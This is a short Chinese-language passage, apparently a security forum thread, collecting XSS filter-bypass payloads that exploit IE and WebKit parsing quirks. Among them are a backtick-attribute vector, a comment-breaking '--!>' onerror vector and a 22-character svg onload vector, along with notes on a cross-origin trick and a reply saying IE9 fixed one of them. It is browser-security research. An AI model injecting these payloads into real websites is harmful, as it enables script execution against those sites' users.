<img src=`<body/onload=alert(1) />
IE在识别tag的时候必须有tag结束界定符,由于src只有属性界定符的原因,<img不被认为是一个tag,所以<body/onload=alert(1) />被解析了.
<!-- `<img/src=xx:xx onerror=alert(1)//--!>
IE,属性界定符在注释tag中可以打破>结束符,使用前面的注释tag失效.(具体原因我也不是很清楚)
<svg/onload=domain=id>
最共22字符,webkit系浏览器有效.
这里的domain=id相当与document.domain=''
正常情况下是无法执行的.
配合一个webkit的bug,在host后面加个点即可执行,不过官方并不认为这是一个bug.
范例:http://fiddle.jshell.net./KG7fR/5/show (从jsfiddle跨到jsbin)
google chrome 浏览器防xss比较厉害,目前纯xss没有办法绕过。只有借助flash等第三方才可以进行绕过
gainover:
<img src=`<body/onload=alert(1) />
反引号这个,在IE9里被修复了。 直接整个<img src=`<body/onload=alert(1) /> 都被当文本显示了。